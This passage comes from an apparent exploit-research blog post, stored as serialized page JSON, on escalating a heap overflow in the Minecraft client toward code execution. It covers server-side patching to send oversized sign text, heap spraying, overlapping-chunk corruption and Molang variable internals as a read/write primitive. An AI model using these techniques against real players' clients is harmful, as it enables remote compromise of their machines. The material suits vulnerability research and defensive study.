logic:",{"type":23,"tag":32,"props":153717,"children":153718},{},[153719],{"type":23,"tag":93,"props":153720,"children":153722},{"alt":52351,"src":153721},"/posts/minecraft-heap-overflow-to-rce/image4.png",[],{"type":23,"tag":32,"props":153724,"children":153725},{},[153726,153728,153734],{"type":29,"value":153727},"Although the involved functions are unnamed, it’s clear that we always want execution to take the ",{"type":23,"tag":71,"props":153729,"children":153731},{"className":153730},[],[153732],{"type":29,"value":153733},"string_length \u003C= 512",{"type":29,"value":153735}," branch, regardless of the actual length. Otherwise, the error is thrown and the client never allocates the desired chunk.",{"type":23,"tag":32,"props":153737,"children":153738},{},[153739],{"type":29,"value":153740},"The disassembly of the comparison looks like this:",{"type":23,"tag":32,"props":153742,"children":153743},{},[153744],{"type":23,"tag":93,"props":153745,"children":153747},{"alt":52351,"src":153746},"/posts/minecraft-heap-overflow-to-rce/image5.png",[],{"type":23,"tag":32,"props":153749,"children":153750},{},[153751,153753,153758,153760,153765,153766,153771,153773,153779,153781,153787,153789,153794,153796,153801],{"type":29,"value":153752},"The code compares ",{"type":23,"tag":71,"props":153754,"children":153756},{"className":153755},[],[153757],{"type":29,"value":58548},{"type":29,"value":153759}," (the string length) to ",{"type":23,"tag":71,"props":153761,"children":153763},{"className":153762},[],[153764],{"type":29,"value":129593},{"type":29,"value":664},{"type":23,"tag":71,"props":153767,"children":153769},{"className":153768},[],[153770],{"type":29,"value":153703},{"type":29,"value":153772}," decimal). It then performs a ",{"type":23,"tag":71,"props":153774,"children":153776},{"className":153775},[],[153777],{"type":29,"value":153778},"jbe",{"type":29,"value":153780},", jumping to address ",{"type":23,"tag":71,"props":153782,"children":153784},{"className":153783},[],[153785],{"type":29,"value":153786},"0x14275114c",{"type":29,"value":153788}," if ",{"type":23,"tag":71,"props":153790,"children":153792},{"className":153791},[],[153793],{"type":29,"value":58548},{"type":29,"value":153795}," is less than or equal to ",{"type":23,"tag":71,"props":153797,"children":153799},{"className":153798},[],[153800],{"type":29,"value":153703},{"type":29,"value":153802},". That target location contains the logic that instructs the client to update the sign text - the branch we want to reach every time.",{"type":23,"tag":32,"props":153804,"children":153805},{},[153806,153808,153813,153815,153821],{"type":29,"value":153807},"To force execution down this path, we patched the ",{"type":23,"tag":71,"props":153809,"children":153811},{"className":153810},[],[153812],{"type":29,"value":153778},{"type":29,"value":153814}," instruction to an unconditional ",{"type":23,"tag":71,"props":153816,"children":153818},{"className":153817},[],[153819],{"type":29,"value":153820},"jmp",{"type":29,"value":153822},", ensuring the correct branch is always taken, regardless of the comparison result.",{"type":23,"tag":32,"props":153824,"children":153825},{},[153826],{"type":23,"tag":93,"props":153827,"children":153829},{"alt":52351,"src":153828},"/posts/minecraft-heap-overflow-to-rce/image6.png",[],{"type":23,"tag":32,"props":153831,"children":153832},{},[153833,153835,153840,153842,153847],{"type":29,"value":153834},"After patching the server and calling ",{"type":23,"tag":71,"props":153836,"children":153838},{"className":153837},[],[153839],{"type":29,"value":151944},{"type":29,"value":153841}," with a size of ",{"type":23,"tag":71,"props":153843,"children":153845},{"className":153844},[],[153846],{"type":29,"value":59922},{"type":29,"value":153848},", the operation now executes successfully, and the client happily allocates a chunk of that size:",{"type":23,"tag":32,"props":153850,"children":153851},{},[153852],{"type":23,"tag":93,"props":153853,"children":153855},{"alt":52351,"src":153854},"/posts/minecraft-heap-overflow-to-rce/image7.png",[],{"type":23,"tag":21113,"props":153857,"children":153858},{},[],{"type":23,"tag":32,"props":153860,"children":153861},{},[153862],{"type":29,"value":153863},"Having a way to spray the heap is great - we can now use the previously mentioned technique to create overlapping chunks in the VS heap, or use it to shape the LFH so that the 4-byte overflow can overwrite an internal Minecraft structure.",{"type":23,"tag":32,"props":153865,"children":153866},{},[153867],{"type":29,"value":153868},"At the time, we couldn't find any useful Minecraft structures to abuse with just a 4-byte OOB write, so we worked on getting overlapping chunks instead.",{"type":23,"tag":59,"props":153870,"children":153872},{"id":153871},"overlapping-heap-chunks",[153873],{"type":29,"value":153874},"Overlapping Heap Chunks",{"type":23,"tag":32,"props":153876,"children":153877},{},[153878,153880,153885],{"type":29,"value":153879},"The attack is described in detail in the referenced blog post (",{"type":23,"tag":181,"props":153881,"children":153883},{"href":151688,"rel":153882},[185],[153884],{"type":29,"value":49356},{"type":29,"value":153886},"), so we will present a high-level overview.",{"type":23,"tag":32,"props":153888,"children":153889},{},[153890,153892,153898],{"type":29,"value":153891},"The core idea is to insert a large chunk that overlaps other chunks above it into the free list. To understand this, some basic knowledge of ",{"type":23,"tag":71,"props":153893,"children":153895},{"className":153894},[],[153896],{"type":29,"value":153897},"_HEAP_VS_CHUNK_HEADER",{"type":29,"value":153899}," structure layout is required:",{"type":23,"tag":220,"props":153901,"children":153903},{"code":153902},"     +---------------------------+           +---------------+\n+0x0 |_HEAP_VS_CHUNK_HEADER_SIZE +----> +0x0 |MemoryCost     |\n     +---------------------------+           +---------------+\n+0x8 |EncodedSegmentPageOffset   |      +0x2 |UnsafeSize     |\n     +---------------------------+           +---------------+\n+0x8 |UnusedBytes                |      +0x4 |UnsafePrevSize |\n     +---------------------------+           +---------------+\n     |           . . .           |      +0x6 |Allocated      |\n                                             +---------------+\n                                             |     . . .     |\n",[153904],{"type":23,"tag":71,"props":153905,"children":153906},{"__ignoreMap":7},[153907],{"type":29,"value":153902},{"type":23,"tag":32,"props":153909,"children":153910},{},[153911,153913,153919,153921,153927,153928,153934,153935,153941,153943,153948,153950,153955,153957,153963,153965,153970,153972,153978],{"type":29,"value":153912},"At offset 0 there is a header ",{"type":23,"tag":71,"props":153914,"children":153916},{"className":153915},[],[153917],{"type":29,"value":153918},"_HEAP_VS_CHUNK_HEADER_SIZE",{"type":29,"value":153920}," containing fields such as ",{"type":23,"tag":71,"props":153922,"children":153924},{"className":153923},[],[153925],{"type":29,"value":153926},"MemoryCost",{"type":29,"value":684},{"type":23,"tag":71,"props":153929,"children":153931},{"className":153930},[],[153932],{"type":29,"value":153933},"UnsafeSize",{"type":29,"value":684},{"type":23,"tag":71,"props":153936,"children":153938},{"className":153937},[],[153939],{"type":29,"value":153940},"UnsafePrevSize",{"type":29,"value":153942},", etc. For the attack we only care about the ",{"type":23,"tag":71,"props":153944,"children":153946},{"className":153945},[],[153947],{"type":29,"value":153933},{"type":29,"value":153949}," field: it holds the size of the chunk as its value. Specifically the value is size divided by ",{"type":23,"tag":71,"props":153951,"children":153953},{"className":153952},[],[153954],{"type":29,"value":128216},{"type":29,"value":153956},", so for a chunk of size ",{"type":23,"tag":71,"props":153958,"children":153960},{"className":153959},[],[153961],{"type":29,"value":153962},"0x4010",{"type":29,"value":153964}," the value of ",{"type":23,"tag":71,"props":153966,"children":153968},{"className":153967},[],[153969],{"type":29,"value":153933},{"type":29,"value":153971}," would be ",{"type":23,"tag":71,"props":153973,"children":153975},{"className":153974},[],[153976],{"type":29,"value":153977},"0x401",{"type":29,"value":312},{"type":23,"tag":32,"props":153980,"children":153981},{},[153982,153983,153988],{"type":29,"value":65992},{"type":23,"tag":71,"props":153984,"children":153986},{"className":153985},[],[153987],{"type":29,"value":153933},{"type":29,"value":153989}," field is a 2-byte field located at offset 0x2 relative to the header. Because of that, it can be fully overwritten by the final two bytes of the 4-byte OOB write.",{"type":23,"tag":32,"props":153991,"children":153992},{},[153993,153995,154000,154002,154007,154009,154015,154017,154022],{"type":29,"value":153994},"The field is encoded with a random key that we do not know, so the exact bytes which we overwrite it with don't matter and the size after will be random. That said, by overwriting ",{"type":23,"tag":71,"props":153996,"children":153998},{"className":153997},[],[153999],{"type":29,"value":153933},{"type":29,"value":154001}," in the smallest possible VS chunk (",{"type":23,"tag":71,"props":154003,"children":154005},{"className":154004},[],[154006],{"type":29,"value":153962},{"type":29,"value":154008},"), we maximize the probability that the decoded size becomes larger than the original. Since the decoded size will be anywhere in ",{"type":23,"tag":71,"props":154010,"children":154012},{"className":154011},[],[154013],{"type":29,"value":154014},"[0x10, 0xffff0]",{"type":29,"value":154016}," range, the probability that it exceeds ",{"type":23,"tag":71,"props":154018,"children":154020},{"className":154019},[],[154021],{"type":29,"value":153962},{"type":29,"value":154023}," is:",{"type":23,"tag":220,"props":154025,"children":154027},{"code":154026},"1 - ((0x4010 - 0x10) / (0xffff0 - 0x10)) ~= 98.4%\n",[154028],{"type":23,"tag":71,"props":154029,"children":154030},{"__ignoreMap":7},[154031],{"type":29,"value":154026},{"type":23,"tag":32,"props":154033,"children":154034},{},[154035],{"type":29,"value":154036},"Thus, there is roughly a 98% chance that the resulting decoded size will be larger than the original chunk size.",{"type":23,"tag":32,"props":154038,"children":154039},{},[154040],{"type":29,"value":154041},"Considering there are slight differences between the kernel and userland heap, and that maximizing the success rate of the attack doesn't matter as much for purposes of this writeup, we will do a simplified attack to the one in the referenced blogpost.",{"type":23,"tag":192,"props":154043,"children":154045},{"id":154044},"overlap-attack-overview",[154046],{"type":29,"value":154047},"Overlap Attack Overview",{"type":23,"tag":32,"props":154049,"children":154050},{},[154051,154053,154058],{"type":29,"value":154052},"The goal of the attack is to overwrite the first four bytes of the VS chunk header that we control - in this case the allocation that holds sign text. We then call ",{"type":23,"tag":71,"props":154054,"children":154056},{"className":154055},[],[154057],{"type":29,"value":128239},{"type":29,"value":154059}," on the overwritten chunk so it is inserted into the free list as an overly large chunk, which we can use to create overlaps.",{"type":23,"tag":32,"props":154061,"children":154062},{},[154063,154065,154070,154072,154077],{"type":29,"value":154064},"We don't know the remote client's exact heap layout, but it likely contains ",{"type":23,"tag":71,"props":154066,"children":154068},{"className":154067},[],[154069],{"type":29,"value":149947},{"type":29,"value":154071},"-sized chunks in the free list that we want to avoid. If a ",{"type":23,"tag":71,"props":154073,"children":154075},{"className":154074},[],[154076],{"type":29,"value":149947},{"type":29,"value":154078},"-sized free chunk is used, the 4-byte OOB write could clobber some unknown chunk above it that we don’t control.",{"type":23,"tag":32,"props":154080,"children":154081},{},[154082,154084,154089],{"type":29,"value":154083},"To remove those ",{"type":23,"tag":71,"props":154085,"children":154087},{"className":154086},[],[154088],{"type":29,"value":149947},{"type":29,"value":154090},"-sized chunks from the free list we allocate many signs of that size. The allocator will first reuse free-list entries and then create new regions when the free list is exhausted.",{"type":23,"tag":32,"props":154092,"children":154093},{},[154094],{"type":29,"value":154095},"After draining the free list, we spray the VS heap with many more chunks of the same size. If the free list has been emptied, most of these allocations will be contiguous, producing many adjacent sign allocations like:",{"type":23,"tag":220,"props":154097,"children":154099},{"code":154098},"+--------+--------+--------+--------+--------+\n|        |        |        |        |        |\n| Sign A | Sign B | Sign C | Sign D | Sign F |\n|        |        |        |        |        |\n+--------+--------+--------+--------+--------+\n",[154100],{"type":23,"tag":71,"props":154101,"children":154102},{"__ignoreMap":7},[154103],{"type":29,"value":154098},{"type":23,"tag":32,"props":154105,"children":154106},{},[154107,154109,154114,154116,154121],{"type":29,"value":154108},"Next we create ",{"type":23,"tag":2258,"props":154110,"children":154111},{},[154112],{"type":29,"value":154113},"holes",{"type":29,"value":154115}," in the contiguous spray by freeing every other sign allocation. That inserts ",{"type":23,"tag":71,"props":154117,"children":154119},{"className":154118},[],[154120],{"type":29,"value":149947},{"type":29,"value":154122},"-sized free chunks where we want them - directly below allocated sign chunks:",{"type":23,"tag":220,"props":154124,"children":154126},{"code":154125},"            Free              Free            \n+--------+--------+--------+--------+--------+\n|        |........|        |........|        |\n| Sign A |........| Sign C |........| Sign F |\n|        |........|        |........|        |\n+--------+--------+--------+--------+--------+\n",[154127],{"type":23,"tag":71,"props":154128,"children":154129},{"__ignoreMap":7},[154130],{"type":29,"value":154125},{"type":23,"tag":32,"props":154132,"children":154133},{},[154134,154136,154141,154143,154148],{"type":29,"value":154135},"When a ",{"type":23,"tag":71,"props":154137,"children":154139},{"className":154138},[],[154140],{"type":29,"value":149947},{"type":29,"value":154142}," allocation is later requested, the allocator will likely satisfy it from one of our inserted holes. As a result, the next adjacent allocated chunk’s ",{"type":23,"tag":71,"props":154144,"children":154146},{"className":154145},[],[154147],{"type":29,"value":153933},{"type":29,"value":154149}," field will be overwritten:",{"type":23,"tag":220,"props":154151,"children":154153},{"code":154152},"                           +--------+         \n            Free           |        |         \n+--------+--------+--------+ g->out +--------+\n|        |........|        |        |        |\n| Sign A |........| Sign C +--------+ Sign F |\n|        |........|        |        |        |\n+--------+--------+--------+        +--------+\n",[154154],{"type":23,"tag":71,"props":154155,"children":154156},{"__ignoreMap":7},[154157],{"type":29,"value":154152},{"type":23,"tag":32,"props":154159,"children":154160},{},[154161,154163,154168,154170,154175,154177,154182],{"type":29,"value":154162},"Once ",{"type":23,"tag":71,"props":154164,"children":154166},{"className":154165},[],[154167],{"type":29,"value":153933},{"type":29,"value":154169}," has been overwritten, ",{"type":23,"tag":71,"props":154171,"children":154173},{"className":154172},[],[154174],{"type":29,"value":149947},{"type":29,"value":154176}," allocation is freed immediately after, restoring the previous layout but with ",{"type":23,"tag":71,"props":154178,"children":154180},{"className":154179},[],[154181],{"type":29,"value":153933},{"type":29,"value":154183}," field corrupted:",{"type":23,"tag":220,"props":154185,"children":154187},{"code":154186},"                              UnsafeSize Overwritten\n                                        ^           \n                                        |           \n            Free              Free      |           \n+--------+--------+--------+--------+---+----+      \n|        |........|        |........|        |      \n| Sign A |........| Sign C |........| Sign F |      \n|        |........|        |........|        |      \n+--------+--------+--------+--------+--------+      \n",[154188],{"type":23,"tag":71,"props":154189,"children":154190},{"__ignoreMap":7},[154191],{"type":29,"value":154186},{"type":23,"tag":32,"props":154193,"children":154194},{},[154195],{"type":29,"value":154196},"To avoid adjacent-chunk consolidation in the next phase, we spray additional signs to fill the holes inside our contiguous region:",{"type":23,"tag":220,"props":154198,"children":154200},{"code":154199},"                              UnsafeSize Overwritten\n                                        ^           \n                                        |           \n                                        |           \n+--------+--------+--------+--------+---+----+      \n|        |        |        |        |        |      \n| Sign A | Sign B | Sign C | Sign D | Sign F |      \n|        |        |        |        |        |      \n+--------+--------+--------+--------+--------+      \n",[154201],{"type":23,"tag":71,"props":154202,"children":154203},{"__ignoreMap":7},[154204],{"type":29,"value":154199},{"type":23,"tag":32,"props":154206,"children":154207},{},[154208],{"type":29,"value":154209},"Finally, we free the rest of the contiguous spray. One of the freed allocations will have a corrupted (and likely overly large) size, giving us a much larger overflow:",{"type":23,"tag":220,"props":154211,"children":154213},{"code":154212},"                                       Freed Overwritten   \n                                               |           \n                                    +----------+----------+\n                                    |                     |\n   Free              Free           v                     v\n+--------+--------+--------+--------+--------+- - - - - - -\n|........|        |........|        |........|             \n|........| Sign B |........| Sign D |........| Other chunks\n|........|        |........|        |........|             \n+--------+--------+--------+--------+--------+- - - - - - -\n",[154214],{"type":23,"tag":71,"props":154215,"children":154216},{"__ignoreMap":7},[154217],{"type":29,"value":154212},{"type":23,"tag":21113,"props":154219,"children":154220},{},[],{"type":23,"tag":32,"props":154222,"children":154223},{},[154224],{"type":29,"value":154225},"This yields a substantially larger overflow primitive than the original 4-byte OOB. However, without an information leak, ASLR is still a big issue and finding a single ideal structure was difficult.",{"type":23,"tag":32,"props":154227,"children":154228},{},[154229],{"type":29,"value":154230},"Instead of looking for simple structures, we shifted focus to more complex server-controlled scripting systems executed by the client - eventually finding Molang.",{"type":23,"tag":59,"props":154232,"children":154234},{"id":154233},"molang",[154235],{"type":29,"value":154236},"Molang",{"type":23,"tag":32,"props":154238,"children":154239},{},[154240,154242,154249],{"type":29,"value":154241},"Molang is a Minecraft-specific scripting language designed for simple math operations and a lightweight state model. It typically controls client-side entity animations and can be included in resource packs delivered by the server. A high-level overview is available in the official ",{"type":23,"tag":181,"props":154243,"children":154246},{"href":154244,"rel":154245},"https://learn.microsoft.com/en-us/minecraft/creator/documents/molang/syntax-guide?view=minecraft-bedrock-stable",[185],[154247],{"type":29,"value":154248},"syntax guide",{"type":29,"value":312},{"type":23,"tag":32,"props":154251,"children":154252},{},[154253,154255,154260,154261,154266],{"type":29,"value":154254},"The available base types are simple: numbers are 32-bit floats, and there is a string type for which only the ",{"type":23,"tag":71,"props":154256,"children":154258},{"className":154257},[],[154259],{"type":29,"value":10911},{"type":29,"value":112},{"type":23,"tag":71,"props":154262,"children":154264},{"className":154263},[],[154265],{"type":29,"value":18013},{"type":29,"value":154267}," operators are supported.",{"type":23,"tag":32,"props":154269,"children":154270},{},[154271,154273,154279,154281,154286,154288,154293,154294,154299,154300],{"type":29,"value":154272},"Variables are defined by prepending ",{"type":23,"tag":71,"props":154274,"children":154276},{"className":154275},[],[154277],{"type":29,"value":154278},"variable.",{"type":29,"value":154280}," to the name and assigning a value. For example, to define ",{"type":23,"tag":71,"props":154282,"children":154284},{"className":154283},[],[154285],{"type":29,"value":11415},{"type":29,"value":154287}," as the sum of ",{"type":23,"tag":71,"props":154289,"children":154291},{"className":154290},[],[154292],{"type":29,"value":181},{"type":29,"value":112},{"type":23,"tag":71,"props":154295,"children":154297},{"className":154296},[],[154298],{"type":29,"value":5561},{"type":29,"value":817},{"type":23,"tag":71,"props":154301,"children":154303},{"className":154302},[],[154304],{"type":29,"value":154305},"variable.result = variable.a + variable.b;",{"type":23,"tag":32,"props":154307,"children":154308},{},[154309,154311,154316,154317,154322,154323,154328,154329,154334],{"type":29,"value":154310},"Logical operators such as ",{"type":23,"tag":71,"props":154312,"children":154314},{"className":154313},[],[154315],{"type":29,"value":24733},{"type":29,"value":684},{"type":23,"tag":71,"props":154318,"children":154320},{"className":154319},[],[154321],{"type":29,"value":74974},{"type":29,"value":684},{"type":23,"tag":71,"props":154324,"children":154326},{"className":154325},[],[154327],{"type":29,"value":8143},{"type":29,"value":684},{"type":23,"tag":71,"props":154330,"children":154332},{"className":154331},[],[154333],{"type":29,"value":12792},{"type":29,"value":154335},", etc., are supported, and conditional branching is implemented using ternary-style blocks:",{"type":23,"tag":220,"props":154337,"children":154339},{"code":154338},"(variable.result == 3) ? {\n    return 1;\n} : {\n    return 0;\n}\n",[154340],{"type":23,"tag":71,"props":154341,"children":154342},{"__ignoreMap":7},[154343],{"type":29,"value":154338},{"type":23,"tag":32,"props":154345,"children":154346},{},[154347],{"type":29,"value":154348},"As shown, Molang is very simple, but we hoped it would be sufficient as a second-stage payload to achieve client-side arbitrary read and write.",{"type":23,"tag":192,"props":154350,"children":154352},{"id":154351},"molang-internals",[154353],{"type":29,"value":154354},"Molang Internals",{"type":23,"tag":32,"props":154356,"children":154357},{},[154358],{"type":29,"value":154359},"What interested us most was how variables are handled. Specifically, we wondered whether we could use the overflow to corrupt a variable and then leverage that corrupted variable to perform arbitrary reads - leaking the information needed to bypass ASLR inside the Molang script, and subsequently use those leaks to carry out arbitrary writes.",{"type":23,"tag":32,"props":154361,"children":154362},{},[154363],{"type":29,"value":154364},"Below we describe the structures involved and their memory layout.",{"type":23,"tag":192,"props":154366,"children":154368},{"id":154367},"molangvariable-and-molangscriptarg",[154369],{"type":29,"value":154370},"MolangVariable and MolangScriptArg",{"type":23,"tag":32,"props":154372,"children":154373},{},[154374,154375,154381],{"type":29,"value":104130},{"type":23,"tag":71,"props":154376,"children":154378},{"className":154377},[],[154379],{"type":29,"value":154380},"MolangVariable",{"type":29,"value":154382}," structure is created for every declared variable. Simplified, it looks something like this:",{"type":23,"tag":220,"props":154384,"children":154386},{"code":154385,"language":2148,"meta":7,"className":18839,"style":7},"struct MolangVariable {\n    \n    struct HashedString {\n        uint64_t variable_name_hash;\n        std::string variable_name;\n    };\n    \n    struct MolangScriptArg {\n        uint32_t value_type;\n        uint64_t value;\n        std::vector\u003Cstruct MolangScriptArg> struct_fields;\n        \n        [...]\n    };\n};\n",[154387],{"type":23,"tag":71,"props":154388,"children":154389},{"__ignoreMap":7},[154390,154402,154409,154421,154434,154442,154449,154456,154468,154481,154493,154523,154531,154538,154545],{"type":23,"tag":230,"props":154391,"children":154392},{"class":232,"line":233},[154393,154397],{"type":23,"tag":230,"props":154394,"children":154395},{"style":256},[154396],{"type":29,"value":11733},{"type":23,"tag":230,"props":154398,"children":154399},{"style":274},[154400],{"type":29,"value":154401}," MolangVariable {\n",{"type":23,"tag":230,"props":154403,"children":154404},{"class":232,"line":243},[154405],{"type":23,"tag":230,"props":154406,"children":154407},{"style":274},[154408],{"type":29,"value":63561},{"type":23,"tag":230,"props":154410,"children":154411},{"class":232,"line":252},[154412,154416],{"type":23,"tag":230,"props":154413,"children":154414},{"style":256},[154415],{"type":29,"value":8389},{"type":23,"tag":230,"props":154417,"children":154418},{"style":274},[154419],{"type":29,"value":154420}," HashedString {\n",{"type":23,"tag":230,"props":154422,"children":154423},{"class":232,"line":280},[154424,154429],{"type":23,"tag":230,"props":154425,"children":154426},{"style":256},[154427],{"type":29,"value":154428},"        uint64_t",{"type":23,"tag":230,"props":154430,"children":154431},{"style":274},[154432],{"type":29,"value":154433}," variable_name_hash;\n",{"type":23,"tag":230,"props":154435,"children":154436},{"class":232,"line":334},[154437],{"type":23,"tag":230,"props":154438,"children":154439},{"style":274},[154440],{"type":29,"value":154441},"        std::string variable_name;\n",{"type":23,"tag":230,"props":154443,"children":154444},{"class":232,"line":371},[154445],{"type":23,"tag":230,"props":154446,"children":154447},{"style":274},[154448],{"type":29,"value":3700},{"type":23,"tag":230,"props":154450,"children":154451},{"class":232,"line":391},[154452],{"type":23,"tag":230,"props":154453,"children":154454},{"style":274},[154455],{"type":29,"value":63561},{"type":23,"tag":230,"props":154457,"children":154458},{"class":232,"line":400},[154459,154463],{"type":23,"tag":230,"props":154460,"children":154461},{"style":256},[154462],{"type":29,"value":8389},{"type":23,"tag":230,"props":154464,"children":154465},{"style":274},[154466],{"type":29,"value":154467}," MolangScriptArg {\n",{"type":23,"tag":230,"props":154469,"children":154470},{"class":232,"line":444},[154471,154476],{"type":23,"tag":230,"props":154472,"children":154473},{"style":256},[154474],{"type":29,"value":154475},"        uint32_t",{"type":23,"tag":230,"props":154477,"children":154478},{"style":274},[154479],{"type":29,"value":154480}," value_type;\n",{"type":23,"tag":230,"props":154482,"children":154483},{"class":232,"line":453},[154484,154488],{"type":23,"tag":230,"props":154485,"children":154486},{"style":256},[154487],{"type":29,"value":154428},{"type":23,"tag":230,"props":154489,"children":154490},{"style":274},[154491],{"type":29,"value":154492}," value;\n",{"type":23,"tag":230,"props":154494,"children":154495},{"class":232,"line":462},[154496,154501,154505,154509,154514,154518],{"type":23,"tag":230,"props":154497,"children":154498},{"style":274},[154499],{"type":29,"value":154500},"        std::vector",{"type":23,"tag":230,"props":154502,"children":154503},{"style":268},[154504],{"type":29,"value":8143},{"type":23,"tag":230,"props":154506,"children":154507},{"style":256},[154508],{"type":29,"value":11733},{"type":23,"tag":230,"props":154510,"children":154511},{"style":274},[154512],{"type":29,"value":154513}," MolangScriptArg",{"type":23,"tag":230,"props":154515,"children":154516},{"style":268},[154517],{"type":29,"value":12792},{"type":23,"tag":230,"props":154519,"children":154520},{"style":274},[154521],{"type":29,"value":154522}," struct_fields;\n",{"type":23,"tag":230,"props":154524,"children":154525},{"class":232,"line":471},[154526],{"type":23,"tag":230,"props":154527,"children":154528},{"style":274},[154529],{"type":29,"value":154530},"        \n",{"type":23,"tag":230,"props":154532,"children":154533},{"class":232,"line":500},[154534],{"type":23,"tag":230,"props":154535,"children":154536},{"style":274},[154537],{"type":29,"value":125818},{"type":23,"tag":230,"props":154539,"children":154540},{"class":232,"line":514},[154541],{"type":23,"tag":230,"props":154542,"children":154543},{"style":274},[154544],{"type":29,"value":3700},{"type":23,"tag":230,"props":154546,"children":154547},{"class":232,"line":897},[154548],{"type":23,"tag":230,"props":154549,"children":154550},{"style":274},[154551],{"type":29,"value":450},{"type":23,"tag":32,"props":154553,"children":154554},{},[154555,154557,154562],{"type":29,"value":154556},"In memory a ",{"type":23,"tag":71,"props":154558,"children":154560},{"className":154559},[],[154561],{"type":29,"value":154380},{"type":29,"value":154563}," instance resembles:",{"type":23,"tag":220,"props":154565,"children":154567},{"code":154566},"      +---------------+---------------+\n+0x00 |  FNV-1 hash   |std::string.buf|\n      +---------------+---------------+\n+0x10 |std::string.buf|std::string.len|\n      +---------------+---------------+\n+0x20 |std::string.cap|   Unknown     |\n      +-------+-------+---------------+\n+0x30 | Type  |Unused |Variable value |\n      +-------+-------+---------------+\n+0x40 |std::vector.buf|std::vector.len|\n      +---------------+---------------+\n+0x50 |std::vector.cap|   Unknown     |\n      +---------------+---------------+\n      |     . . .     |     . . .     |\n",[154568],{"type":23,"tag":71,"props":154569,"children":154570},{"__ignoreMap":7},[154571],{"type":29,"value":154566},{"type":23,"tag":32,"props":154573,"children":154574},{},[154575],{"type":29,"value":154576},"For reference, example debugger view of the layout:",{"type":23,"tag":32,"props":154578,"children":154579},{},[154580],{"type":23,"tag":93,"props":154581,"children":154583},{"alt":52351,"src":154582},"/posts/minecraft-heap-overflow-to-rce/image8.png",[],{"type":23,"tag":32,"props":154585,"children":154586},{},[154587],{"type":29,"value":154588},"The full structure is larger and contains more fields than shown, but many are irrelevant to the exploit.",{"type":23,"tag":32,"props":154590,"children":154591},{},[154592,154594,154600,154602,154607,154609,154615,154617,154622,154623,154628,154630,154635,154636,154642,154643,154649],{"type":29,"value":154593},"We only care about the ",{"type":23,"tag":71,"props":154595,"children":154597},{"className":154596},[],[154598],{"type":29,"value":154599},"MolangScriptArg",{"type":29,"value":154601}," beginning at offset ",{"type":23,"tag":71,"props":154603,"children":154605},{"className":154604},[],[154606],{"type":29,"value":130697},{"type":29,"value":154608}," because it contains variable values. In the screenshot above, the ",{"type":23,"tag":71,"props":154610,"children":154612},{"className":154611},[],[154613],{"type":29,"value":154614},"value_type",{"type":29,"value":154616}," at ",{"type":23,"tag":71,"props":154618,"children":154620},{"className":154619},[],[154621],{"type":29,"value":130697},{"type":29,"value":7840},{"type":23,"tag":71,"props":154624,"children":154626},{"className":154625},[],[154627],{"type":29,"value":6358},{"type":29,"value":154629}," (meaning float), and the ",{"type":23,"tag":71,"props":154631,"children":154633},{"className":154632},[],[154634],{"type":29,"value":3856},{"type":29,"value":154616},{"type":23,"tag":71,"props":154637,"children":154639},{"className":154638},[],[154640],{"type":29,"value":154641},"0x38",{"type":29,"value":7840},{"type":23,"tag":71,"props":154644,"children":154646},{"className":154645},[],[154647],{"type":29,"value":154648},"0xbf2070c8",{"type":29,"value":312},{"type":23,"tag":32,"props":154651,"children":154652},{},[154653,154655,154661,154663,154668,154670,154675,154676,154681,154683,154688,154690,154695],{"type":29,"value":154654},"During assignment, such as ",{"type":23,"tag":71,"props":154656,"children":154658},{"className":154657},[],[154659],{"type":29,"value":154660},"variable.a = variable.b",{"type":29,"value":154662},", each field of ",{"type":23,"tag":71,"props":154664,"children":154666},{"className":154665},[],[154667],{"type":29,"value":154599},{"type":29,"value":154669}," is copied from variable ",{"type":23,"tag":71,"props":154671,"children":154673},{"className":154672},[],[154674],{"type":29,"value":5561},{"type":29,"value":58550},{"type":23,"tag":71,"props":154677,"children":154679},{"className":154678},[],[154680],{"type":29,"value":181},{"type":29,"value":154682},". Interestingly, the ",{"type":23,"tag":71,"props":154684,"children":154686},{"className":154685},[],[154687],{"type":29,"value":3856},{"type":29,"value":154689}," field is always copied as a ",{"type":23,"tag":71,"props":154691,"children":154693},{"className":154692},[],[154694],{"type":29,"value":57408},{"type":29,"value":154696}," even if the type is a 32-bit float.",{"type":23,"tag":32,"props":154698,"children":154699},{},[154700,154702,154708],{"type":29,"value":154701},"Each entity stores its variables in a per-entity vector called ",{"type":23,"tag":71,"props":154703,"children":154705},{"className":154704},[],[154706],{"type":29,"value":154707},"MolangVariableMap",{"type":29,"value":312},{"type":23,"tag":192,"props":154710,"children":154712},{"id":154711},"molangvariablemap",[154713],{"type":29,"value":154707},{"type":23,"tag":32,"props":154715,"children":154716},{},[154717,154722,154724,154730,154732,154738],{"type":23,"tag":71,"props":154718,"children":154720},{"className":154719},[],[154721],{"type":29,"value":154707},{"type":29,"value":154723}," is simply a ",{"type":23,"tag":71,"props":154725,"children":154727},{"className":154726},[],[154728],{"type":29,"value":154729},"std::vector\u003CMolangVariable *>",{"type":29,"value":154731}," contained per entity. To reason about its memory we need to recall MSVC ",{"type":23,"tag":71,"props":154733,"children":154735},{"className":154734},[],[154736],{"type":29,"value":154737},"std::vector",{"type":29,"value":154739}," layout:",{"type":23,"tag":220,"props":154741,"children":154743},{"code":154742,"language":2148,"meta":7,"className":18839,"style":7},"struct vector {\n    void *buf;\n    void *len;\n    void *cap;\n};\n",[154744],{"type":23,"tag":71,"props":154745,"children":154746},{"__ignoreMap":7},[154747,154759,154775,154791,154807],{"type":23,"tag":230,"props":154748,"children":154749},{"class":232,"line":233},[154750,154754],{"type":23,"tag":230,"props":154751,"children":154752},{"style":256},[154753],{"type":29,"value":11733},{"type":23,"tag":230,"props":154755,"children":154756},{"style":274},[154757],{"type":29,"value":154758}," vector 